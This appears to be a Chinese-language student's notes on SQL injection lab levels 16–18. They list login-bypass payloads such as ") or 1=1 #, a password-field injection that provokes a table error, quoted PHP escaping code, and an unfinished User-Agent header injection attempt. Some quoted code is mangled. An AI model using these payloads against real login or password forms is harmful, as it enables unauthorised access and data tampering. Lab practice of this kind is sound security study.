题目:16
通过尝试,没有爆出sql语法错误的信息,因此尝试各种万能密码:
’ or 1=1 #
” or 1=1 #
‘) or 1=1 #
“) or 1=1 #
‘)) or 1=1 #
“)) or 1=1 #
进过测试:”) or 1=1 # 是万能密码,登录成功
题目17:
初次尝试各种万能密码,没有尝试成功,因此根据需求,构造sql语句:
select * from user where username="" and password="" limit 0,1;
考虑可能是过滤了字符串,开启php get_magic_quotes_gpc函数,可能过滤的字符串为: ' " \
不说了,看源代码:
“`
if(!empty(value))
{
// truncation (see comments)value = substr($value,0,15);
}
// Stripslashes if magic quotes enabled
if (get_magic_quotes_gpc())
{
$value = stripslashes($value); \\ 删除反斜杠
}
// Quote if not a number
if (!ctype_digit($value))
{
$value = "'" . mysql_real_escape_string($value) . "'";
}
else
{
$value = intval($value);
}
return $value;
sql:sql=”SELECT username, password FROM users WHERE username= $uname LIMIT 0,1”;
mysql_real_escape_string() 函数转义 SQL 语句中使用的字符串中的特殊字符
\x00
\n
\r
\
'
"
\x1a
根据所有的信息分析:
这是一个改密码的程序,首先对帐号进行的 过滤,但是没有对密码进行过滤,所以对密码进行sql注入。
username=admin1&password=12’ where (select count(*) from aaa)>0 #
页面会抱报错
Table ‘security.aaa’ doesn’t exist
到这,注入找见了
题目18:
根据提示:注入存在header
查看源代码:
insert="INSERTINTO‘security‘.‘uagents‘(‘uagent‘,‘ipaddress‘,‘username‘)VALUES(′uagent’, ‘IP′,uname)”;
考虑是user-agent 注入
构造user-aget ………………(在这里尝试很多,同时执行2条sql语句会错,先到这里,明天继续改改,第一次尝试header 头注入)